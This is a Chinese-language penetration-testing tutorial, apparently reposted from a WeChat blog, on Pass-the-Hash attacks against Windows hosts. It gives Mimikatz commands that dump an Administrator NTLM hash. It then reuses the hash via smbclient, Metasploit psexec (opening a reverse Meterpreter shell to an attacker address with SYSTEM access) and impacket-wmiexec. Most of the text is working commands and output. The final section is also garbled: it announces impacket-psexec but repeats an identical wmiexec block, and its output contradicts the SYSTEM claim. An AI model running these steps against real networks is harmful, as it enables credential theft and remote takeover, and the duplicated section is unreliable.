Pass-the-Hash攻击
2023-5-16 21:46:21 Author: Matrix1024(查看原文) 阅读量:12 收藏

Pass-the-Hash简称PTH,即Hash中继技术。我们在内网渗透中,常常会遇到这样一种场景:获得了某台Windows主机的权限,且已知username,但是读取其NTML Hash以后无法破解,或者破解的时间非常长。这时候又需要登录该主机,做其他操作,那我们就可以采用hash中继来实现一定的目的。除此之外,也可能还会有这么一种情况:当我们获取到某台Windows主机权限后,我们还想看看同一内网中有没有通用口令,但是我们当前并不知道现在以获得权限的这台主机口令。这时候我们也可以采用PtH技术来批量去登录通用口令的其他机器。

01

获取NTML Hash

获取NTML Hash的方式很多,比如Meterpreter中有专门获取NTML Hash的模块,也可以SAM文件离线提取,在Cobalt Strike中也有提取NTML hash的模块。本文重点要讲的是PtH技术,Hash提取的方法这里选用最常见的Mimikatz来进行。需要注意的是,我们当前读取hash的机器IP是192.168.202.211,我们在下文或解释这有什么用。

mimikatz # privilege::debugPrivilege '20' OK
mimikatz # token::elevate...
mimikatz # lsadump::sam...RID  : 000001f4 (500)User : AdministratorHash NTLM: 7a38310ea6f0027ee955abed1762964b

02

smbclient & MSF

smbclient是一个smb服务器的客户端的管理程序,可以交互式的访问samba服务器。kali linux自带了这个工具。我们可以使用这个工具进行PtH访问目标的smb服务。在smbclient中,我们可以使用--pw-nt-hash来指定NTML Hash,并以此来进行smb登录。

smbclient \\\\192.168.202.212\\secrets -U Administrator --pw-nt-hash 7a38310ea6f0027ee955abed1762964b

请注意看,刚刚我们提取Hash的机器是192.168.202.211,而此时我们登录的机器是192.168.202.212。之所以我们可以用211机器上的NTML Hash去登录212的SBM服务,是因为这两台机器的administrator用户的口令是相同的。同样,我们自然也能够使用MSF来进行Hash传递登录,并且配合meterpreter实现更多的目的。

msf6 > use exploit/windows/smb/psexec[*] No payload configured, defaulting to windows/meterpreter/reverse_tcpmsf6 exploit(windows/smb/psexec) > set smbuser administratorsmbuser => administratormsf6 exploit(windows/smb/psexec) > set smbpass 201b0e3078f2be635aaaa055ab5a7828:7a38310ea6f0027ee955abed1762964bsmbpass => 201b0e3078f2be635aaaa055ab5a7828:7a38310ea6f0027ee955abed1762964bmsf6 exploit(windows/smb/psexec) > exploit[*] Started reverse TCP handler on 192.168.45.211:4444[*] 192.168.202.212:445 - Connecting to the server...[*] 192.168.202.212:445 - Authenticating to 192.168.202.212:445 as user 'administrator'...[*] 192.168.202.212:445 - Selecting PowerShell target[*] 192.168.202.212:445 - Executing the payload...[+] 192.168.202.212:445 - Service start timed out, OK if running a command or non-service executable...[*] Sending stage (175686 bytes) to 192.168.202.212[*] Meterpreter session 1 opened (192.168.45.211:4444 -> 192.168.202.212:50081) at 2023-05-16 03:10:53 -0400
meterpreter > getuidServer username: NT AUTHORITY\SYSTEM

03

Impacket-script

从MSF中使用的模块我们可以看到,其使用的是psexec模块。同样的,我们自然也可以使用Impacket-psexec来做到同样的事情。

┌──(root㉿kali)-[/home/kali]└─# impacket-wmiexec  -hashes 201b0e3078f2be635aaaa055ab5a7828:7a38310ea6f0027ee955abed1762964b [email protected]Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used[!] Launching semi-interactive shell - Careful what you execute[!] Press help for extra shell commandsC:\>whoamifiles02\administrator

从上面的结果来看,我们获取到的是system权限。当然,如果我们只想要指定用户的权限(如administrator),我们可以用impacket-wmiexec来实现。其用法也是一样的。

┌──(root㉿kali)-[/home/kali]└─# impacket-wmiexec  -hashes 201b0e3078f2be635aaaa055ab5a7828:7a38310ea6f0027ee955abed1762964b [email protected]Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used[!] Launching semi-interactive shell - Careful what you execute[!] Press help for extra shell commandsC:\>whoamifiles02\administrator

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5NzYxMjI5OA==&mid=2247485688&idx=1&sn=6f6849acd03b440e649d6a1be84eb8a6&chksm=c06e679df719ee8b1340607bb5fac5ed9d47aae196a61a0b0fa911d0387da834cd0138bd0636#rd
如有侵权请联系:admin#unsafe.sh